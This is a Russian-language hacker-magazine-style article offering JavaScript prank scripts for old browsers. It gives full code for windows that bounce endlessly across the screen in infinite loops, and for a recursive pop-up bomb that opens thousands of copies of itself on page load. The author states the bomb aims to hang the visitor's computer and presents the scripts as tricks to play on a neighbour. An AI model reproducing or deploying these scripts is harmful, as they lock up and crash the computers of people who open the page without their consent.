div.main {margin-left: 20pt; margin-right: 20pt}Западло на Яве.
Алексей Масанов amasanov@hotmail.com
Внимай, даю установку: скрипты - это круто. Ты это знаешь, я это
знаю, короче - мы это знаем. Установку дал! Успешно. Теперь о них -
любимых скриптах - и поговорим. Приятно наваять своими ручками
какую-нибудь скриптятину на яве и дать соседу-ламаку пропереться, а
пока тот будет ее разглядывать - дать ему пинка. Вот только бага: по
ходу все клевое в скриптинге уже придумано. Предложить что-либо
кардинально новое (во всяком случае, мне) уже сложно, лучше пива
попить пойти. С другой стороны, можно легко насочинять целый ворох
вторичных вещей, которые при ближайшем рассмотрении сведутся к
нагромождению все тех же базовых методов. А это неправильно -
вторичное само по себе на хрен никому не нужно.
Наконец (не на конец, а в конце концов!), наступило "творческое
озарение": если нельзя ничего выжать внутри документа, то надо
переходить на качественно новый уровень манипуляции самим окном
броузера.
Сначала чуть-чуть информации для тех, кто забыл (или не
знал):
В объектной модели современных броузеров (под современными я имею
в виду Internet Explorer 4.0 и выше и Netscape Navigator хотя бы
4.x) есть два очень интересных метода: window.resizeTo (x,y) и
window.moveTo (x,y), которые сулят просто огромные возможности.
Первый метод изменяет размер "смотрового окна" броузера до указанных
размеров (т.е. x на y пикселей), а второй перемещает само окно,
помещая левый верхний угол в точку с координатами x по горизонтали и
y по вертикали. Таким образом, грамотно используя эти два метода, ты
легко можешь добиться весьма интересных эффектов, которые буквально
валят с ног неподготовленного зрителя.
Для начала давай рассмотрим простенький скриптик, отвечающий за
перемещение окна броузера по десктопу и его отражение от "краев"
экрана:
Скрипт 1: Окно в стиле Xonix
<script language = javascript> // Начинаем script блок
function move_the_window(){ // Наша стартовая функция
window.resizeTo(screen.width/2,screen.height/2); // Сначала
сжимаем окно до //половины рабочего стола
window.moveTo(1,1); // Теперь помещаем его в левый верхний угол
экрана
var x=1; // Это будет наша X-координата. Вначале равна
единице
var y=1; // Это будет наша Y-координата. Вначале равна
единице
var dx=7; // Смещение по X
var dy=10; // ... и по Y
move(); // Теперь вызываем функцию, которая и будет двигать
окно
function move(){ // Объявляем функцию
while(true){ // Объявляем бесконечный цикл
if(x>=(screen.width) || x<=0) dx=-dx; // Если окно на краю
экрана по X, //меняем направление
if(y>=(screen.height) || y<=0) dy=-dy; // То же самое, но
уже для Y
x+=dx; // Сдвинули по горизонтали
y+=dy; // ... и по вертикали
window.moveTo (x,y); // Нарисовали окно на новом месте
} // Конец нашего бесконечного цикла
} // Конец функции move
} // Конец функции move_the_window
// Ну, и закрываем script блок
</script>
<html>
<head>
<title>Script N1</title>
</head>
<body onload = "move_the_window()">
<center><font face = Times size = 6 color
=red><i>JavaScript is
cool!</i></font></center>
</body>
</html>
Как только страница полностью загружена, вызывается функция
move_the_window. Она объявляет все необходимые переменные и помещает
окно в левый верхний угол рабочего стола. Методы screen.width и
screen.height возвращают нам значения (ширину и высоту) рабочего
стола, и, уже зная их, мы сжимаем окно до половины.
Теперь приступим к функции move. Т.к. все действия здесь
выполняются внутри бесконечного цикла, то окно так и будет
безостановочно бегать по экрану. Попытка же свернуть его через task
manager приведет к интересным визуальным эффектам (советую убедиться
на собственном опыте). Если ты хочешь, чтобы цикл выполнялся
определенное количество раз, замени оператор while на while(var i
< твое число) и добавь в конце цикла оператор i++ (см. пример
N3).
С помощью метода resizeTo можно делать довольно любопытные вещи.
Посмотри, как можно сжать окно до размеров заглавной рамки и
заставить все это, как обычно, бегать по экрану:
ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ
Вставить java-zapadlo.screen1
ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ
Скрипт 2: Развитие темы
<script language = javascript> // Начинаем script блок
function move_the_windows(){ // Наша стартовая функция
window.resizeTo(screen.width, 25); // Сжимаем окно номер 1
window.moveTo(0,1); // Теперь помещаем его в левый верхний угол
экрана
window2 = open("", null); // Создаем объект второго окна
window2.document.write("<title> Window N2</title>");
// Пишем в него заголовок
window2.resizeTo(screen.width,25); // Сжимаем его и
window2.moveTo(0, screen.height-25); // помещаем в низ экрана
var dy1=2; // Начальное смещение для верхнего окна
var dy2=-2; // ... и для нижнего
var y1 = 1; // Y-координата верхнего окна
var y2 = screen.height-25; // и Y-координата нижнего
move(); // Теперь вызываем функцию, которая и будет двигать оба
окна
function move(){ // Объявляем функцию
while(true){ // Объявляем бесконечный цикл
if (y1>=(screen.height) || y1 <=0) dy1=-dy1; // Меняем
направление
if (y2>=(screen.height) || y2 <=0) dy2=-dy2; // То же для
второго окна
y1+=dy1; // Сдвинули первое окно по вертикали
y2+=dy2; // ... и второе
window.moveTo (0,y1); // Нарисовали первое окно на новом
месте
window2.moveTo (0,y2); // Нарисовали второе окно на новом
месте
} // Конец нашего бесконечного цикла
} // Конец функции move
} // Конец функции move_the_windows
// Ну, и закрываем script блок
</script>
<html>
<head>
<title>Script N2 Window 1</title>
</head>
<body onload = "move_the_windows()">
<center><font face = Times size = 6 color
=red><i>JavaScript is
cool!</i></font></center>
</body>
</html>
По сути этот скрипт является расширением первого: новым является
наличие двух окон, которые движутся независимо. Обрати внимание на
механизм создания второго окна и способ записи HTML-тэгов через
document.write.
Теперь, познакомившись с этими методами, ты, наверно уже задаешь
себе вопрос: а нельзя ли через этот самый JavaScript подвесить
клиентский компьютер? Что ж, это вполне возможно. Метод прост до
неприличия: все, что только нужно делать, - открывать новые окна с
максимальной быстротой. В этом случае у системы просто не хватает
ресурсов, и все "повисает". Другое дело, что, на мой взгляд, этот
примитивизм не является чем-то по-настоящему интересным, и,
вероятно, раз ознакомившись с этим дубовым методом, ты больше не
будешь тратить свое время на эту муру:
ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ
Вставить java-zapadlo.screen2
ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ
Скрипт 3: Генерация множества окон:
<script language = javascript> // Начинаем script блок
function generate_windows(){ // Наша стартовая функция
var i=1;
while (i < 10000){ // Главный цикл
window.open("script3.htm"); // Новое окно с ссылкой на тот же
HTML файл
i++; // Увеличиваем счетчик цикла
} // Конец цикла
} // Конец generate_windows
// Закрываем script блок
</script>
<html>
<head>
<title>Multiple windows</title>
</head>
<body onload = "generate_windows()">
</body>
</html>
Фактически в теле главного цикла скрипт пробует открыть 10000
окон, причем каждое окно ссылается на тот же файл, т.е. в свою
очередь пытается открыть еще 10000 окон и т.д. Система просто не
справляется с таким потоком и, увы, повисает.
ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ
Вставить java-zapadlo.screen3
ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ
Ну, пора постепенно закругляться. Если у тебя есть какие-то
вопросы / пожелания / дополнения - пиши.
|